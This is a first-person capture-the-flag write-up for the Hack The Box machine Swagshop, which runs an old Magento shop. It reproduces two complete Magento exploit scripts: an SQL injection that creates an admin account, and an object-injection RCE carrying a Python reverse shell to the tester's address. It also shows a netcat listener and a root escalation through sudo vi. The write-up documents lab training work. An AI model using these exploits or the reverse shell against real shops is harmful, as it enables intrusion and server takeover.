Swagshop writeup: Hack The Box
The box
Swagshop is a Linux machine on Hack The Box running an old Magento shop. I got a shell through Magento, then used a sudo rule that allowed running vi as root.
Recon
I started with nmap to check the open ports:
# Nmap 7.70 scan initiated Sun Jun 07 16:19:27 2020 as:
nmap -sV -sC -T4 -oA swagshop -p- 10.10.10.140
Nmap scan report for 10.10.10.140
Host is up (0.14s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
| 256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_ 256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home page
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 07 16:19:27 2020 -- 1 IP address (1 host up) scanned in 800.04 seconds
SSH is open on port 22 and Apache on port 80. Opening the site shows a Magento shop:
Next, I used gobuster to look for directories:
gobuster dir -w /usr/share/wordlists/dirb/medium.txt -u
http://10.10.10.140
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.140
[+] Threads: 20
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2019/12/26 17:36:22 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/app (Status: 301)
/errors (Status: 301)
/favicon.ico (Status: 200)
/includes (Status: 301)
/js (Status: 301)
/lib (Status: 301)
/media (Status: 301)
/pkginfo (Status: 301)
/server-status (Status: 403)
/shell (Status: 301)
/skin (Status: 301)
/var (Status: 301)
/app stood out because it contains Magento's application files. The directory existing doesn't give us admin access on its own.
I then checked for known Magento exploits with SearchSploit:
The 37977.py exploit was worth trying because it didn't need an existing account.
Getting an admin account
I pointed the script at the box and set the new account's credentials to falcon:falcon. The payload inserts a user and assigns it an admin role:
python rce_magento.py
import requests
import base64
import sys
target = "http://10.10.10.140/index.php"
if not target.startswith("http"):
target = "http://" + target
if target.endswith("/"):
target = target[:-1]
target_url = target + "/admin/Cms_Wysiwyg/directive/index/"
q="""
SET @SALT = 'rp';
SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
"""
query = q.replace("\n", "").format(username="falcon", password="falcon")
pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)
# e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is
r = requests.post(target_url,
data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
"filter": base64.b64encode(pfilter),
"forwarded": 1})
if r.ok:
print "WORKED"
print "Check {0}/admin with creds falcon:falcon".format(target)
else:
print "DID NOT WORK"
The script worked. I could log into the admin panel:
Getting a shell
An admin session in the shop wasn't a shell on the server yet.
SearchSploit had also listed a post-authentication RCE exploit, 37811.py. With the account from the previous step, I could try that one.
The script takes a target and a command to run.
I replaced its arg value with the Python reverse shell from pentestmonkey, pointing back to my listener:
#!/usr/bin/python
# Exploit Title: Magento CE < 1.9.0.1 Post Auth RCE
# Google Dork: "Powered by Magento"
# Date: 08/18/2015
# Exploit Author: @Ebrietas0 || http://ebrietas0.blogspot.com
# Vendor Homepage: http://magento.com/
# Software Link: https://www.magentocommerce.com/download
# Version: 1.9.0.1 and below
# Tested on: Ubuntu 15
# CVE : none
from hashlib import md5
import sys
import re
import base64
import mechanize
def usage():
print "Usage: python %s <target> <argument>\nExample: python %s http://localhost \"uname -a\""
sys.exit()
if len(sys.argv) != 3:
usage()
# Command-line args
target = sys.argv[1]
arg = """python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.7",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
# Config.
username = ''
password = ''
php_function = 'system' # Note: we can only pass 1 argument to the function
install_date = 'Sat, 15 Nov 2014 20:27:57 +0000' # This needs to be the exact date from /app/etc/local.xml
# POP chain to pivot into call_user_exec
payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \
'\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \
'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"' \
'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00' \
'_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \
';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function,
len(arg), arg)
# Setup the mechanize browser and options
br = mechanize.Browser()
#br.set_proxies({"http": "localhost:8080"})
br.set_handle_robots(False)
request = br.open(target)
br.select_form(nr=0)
br.form.new_control('text', 'login[username]', {'value': username}) # Had to manually add username control.
br.form.fixup()
br['login[username]'] = username
br['login[password]'] = password
br.method = "POST"
request = br.submit()
content = request.read()
url = re.search("ajaxBlockUrl = \'(.*)\'", content)
url = url.group(1)
key = re.search("var FORM_KEY = '(.*)'", content)
key = key.group(1)
request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
tunnel = re.search("src=\"(.*)\?ga=", request.read())
tunnel = tunnel.group(1)
payload = base64.b64encode(payload)
gh = md5(payload + install_date).hexdigest()
exploit = tunnel + '?ga=' + payload + '&h=' + gh
try:
request = br.open(exploit)
except (mechanize.HTTPError, mechanize.URLError) as e:
print e.read()
I started a netcat listener and ran the Python script:
nc -lvp 4444
python post_rce_revshell.py 10.10.10.140
That opened a shell as www-data.
That user could read the user flag:
cat /home/haris/user.txt
From www-data to root
I ran linPEAS to check for a way to escalate privileges.
It showed a sudo rule allowing vi to run as root. Since vi can launch shell commands, that was enough.
I opened a file with it:
sudo /usr/bin/vi /var/www/html/falcon
Then launched a shell from inside vi:
:!/bin/sh
Root. From there, I could read the final flag:
